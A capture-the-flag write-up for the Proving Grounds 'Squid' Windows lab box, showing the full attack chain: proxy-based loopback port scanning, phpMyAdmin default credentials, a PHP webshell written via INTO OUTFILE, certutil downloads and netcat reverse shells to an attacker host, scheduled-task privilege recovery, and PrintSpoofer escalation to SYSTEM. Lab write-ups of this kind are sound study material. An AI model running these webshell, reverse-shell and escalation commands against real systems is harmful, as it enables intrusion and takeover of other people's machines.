# Squid Writeup - Proving Grounds

> Easy Windows box where an open Squid proxy exposes a loopback-only phpMyAdmin with default credentials, used to write a webshell via INTO OUTFILE, then a recovered SeImpersonatePrivilege and PrintSpoofer escalate to SYSTEM.

- **URL:** https://hackindex.io/writeups/squid
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Windows
- **Tags:** default-credentials, webshell, mysql, privilege-escalation, token-impersonation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Squid only exposes an open HTTP proxy, which is enough to reach a phpMyAdmin instance bound to loopback behind it. Default `root` credentials and MySQL's `INTO OUTFILE` write a PHP webshell straight into the proxied web root for a foothold as `LOCAL SERVICE`. That account starts with a stripped privilege set, but recreating it through a scheduled task restores `SeImpersonatePrivilege`, which PrintSpoofer turns into a SYSTEM shell.

## Reconnaissance

### Nmap

Scan the target for open services.

```bash
nmap -sC -sV $TARGET_IP -Pn
# PORT     STATE SERVICE    VERSION
# 3128/tcp open  http-proxy Squid http proxy 4.14
# |_http-title: ERROR: The requested URL could not be retrieved
# | http-open-proxy: Potentially OPEN proxy.
# |_Methods supported: GET HEAD
# |_http-server-header: squid/4.14
# Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Only an open Squid proxy is reachable directly. Since it will forward requests, use it to probe the target's own loopback interface for services that aren't otherwise exposed. `spose` does exactly this by asking the proxy itself to connect to `127.0.0.1` on a range of ports.

### Enumerating ports behind the proxy

```bash
python3 spose.py --proxy http://$TARGET_IP:3128 --target 127.0.0.1
# 127.0.0.1 3306 seems OPEN
# 127.0.0.1 8080 seems OPEN
```

Port 8080 looks like a web server and 3306 is MySQL, both bound only to loopback on the target. Point a proxy-aware client at `http://127.0.0.1:8080` through the Squid proxy.

## Exploitation

### phpMyAdmin default credentials

A WAMP dashboard appears with a link to phpMyAdmin, which accepts the MySQL default: `root` with no password.

### Webshell via INTO OUTFILE

With a SQL console, abuse MySQL's file-write privilege to drop a one-line PHP webshell directly into the proxied web root.

```sql
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:/wamp/www/shell.php';
```

```bash
curl "http://127.0.0.1:8080/shell.php?cmd=whoami" --proxy $TARGET_IP:3128
# nt authority\local service
```

Code execution confirmed as `LOCAL SERVICE`. Pull `nc.exe` through the webshell and use it to get an interactive session.

```bash
curl "http://127.0.0.1:8080/shell.php?cmd=certutil+-urlcache+-f+http://$ATTACKER_IP/nc.exe+nc.exe" --proxy $TARGET_IP:3128
python3 -m http.server 80
# Serving HTTP on 0.0.0.0 port 80 ...
# $TARGET_IP - - "GET /nc.exe HTTP/1.1" 200 -
```

```bash
curl "http://127.0.0.1:8080/shell.php?cmd=nc.exe+$ATTACKER_IP+$ATTACKER_PORT+-e+powershell.exe" --proxy $TARGET_IP:3128
```

```bash
nc -lvnp $ATTACKER_PORT
# Ncat: Connection from $TARGET_IP.
# Windows PowerShell
#
# PS C:\wamp\www>
```

Interactive shell as `LOCAL SERVICE`.

## Privilege Escalation

### Recovering default service privileges

This session is missing most of the privileges a `LOCAL SERVICE` account normally gets.

```powershell
whoami /priv
# PRIVILEGES INFORMATION
# ----------------------
#
# Privilege Name                Description                    State
# ============================= ============================== ========
# SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
# SeCreateGlobalPrivilege       Create global objects          Enabled
# SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```

A process spawned by the Task Scheduler Service inherits the full default privilege set for its account, so creating any scheduled task and running it recovers most of what is missing.

```powershell
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\wamp\www\nc.exe $ATTACKER_IP $ATTACKER_PORT -e cmd.exe`""
Register-ScheduledTask -Action $TaskAction -TaskName "GrantPerm"
Start-ScheduledTask -TaskName "GrantPerm"
```

```powershell
nc -lvnp $ATTACKER_PORT
# Ncat: Connection from $TARGET_IP.
#
# C:\Windows\system32>whoami /priv
#
# Privilege Name                Description                        State
# ============================= ================================== ========
# SeAssignPrimaryTokenPrivilege Replace a process level token      Disabled
# SeChangeNotifyPrivilege       Bypass traverse checking           Enabled
# SeCreateGlobalPrivilege       Create global objects              Enabled
# SeTimeZonePrivilege           Change the time zone               Disabled
```

Better, but `SeImpersonatePrivilege` is still absent because it isn't part of the default token this way. A scheduled task can request it explicitly through a `ScheduledTaskPrincipal` with a custom `RequiredPrivilege` list.

```powershell
[System.String[]]$Privs = "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeImpersonatePrivilege", "SeIncreaseWorkingSetPrivilege"
$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-Exec Bypass -Command `"C:\wamp\www\nc.exe $ATTACKER_IP $ATTACKER_PORT -e cmd.exe`""
Register-ScheduledTask -Action $TaskAction -TaskName "GrantAllPerms" -Principal $TaskPrincipal
Start-ScheduledTask -TaskName "GrantAllPerms"
```

```powershell
nc -lvnp $ATTACKER_PORT
# Ncat: Connection from $TARGET_IP.
#
# C:\Windows\system32>whoami /priv
#
# Privilege Name                Description                               State
# ============================= ========================================= ========
# SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
# SeImpersonatePrivilege        Impersonate a client after authentication Enabled
# SeCreateGlobalPrivilege       Create global objects                    Enabled
```

`SeImpersonatePrivilege` is enabled now. PrintSpoofer abuses it through a fake named pipe to spawn a process as SYSTEM.

### PrintSpoofer

```powershell
certutil -urlcache -f http://$ATTACKER_IP/PrintSpoofer64.exe PrintSpoofer64.exe
PrintSpoofer64.exe -i -c "cmd /c whoami"
# [+] Found privilege: SeImpersonatePrivilege
# [+] Named pipe listening...
# [+] CreateProcessAsUser() OK
# nt authority\system
```

Confirmed. Spawn an interactive SYSTEM shell in the same console.

```powershell
PrintSpoofer64.exe -i -c "cmd /c cmd.exe"
# [+] Found privilege: SeImpersonatePrivilege
# [+] Named pipe listening...
# [+] CreateProcessAsUser() OK
#
# C:\Windows\system32>whoami
# nt authority\system
```

Full SYSTEM shell, reached without ever touching a public exploit for the proxy or the database itself.

Related

## References

- [PrintSpoofer](https://github.com/itm4n/PrintSpoofer) - SeImpersonatePrivilege abuse tool used for the final SYSTEM shell.
- [FullPowers](https://github.com/itm4n/FullPowers) - Describes how a scheduled task restores a stripped service account's default privileges, the technique behind the privilege recovery step.
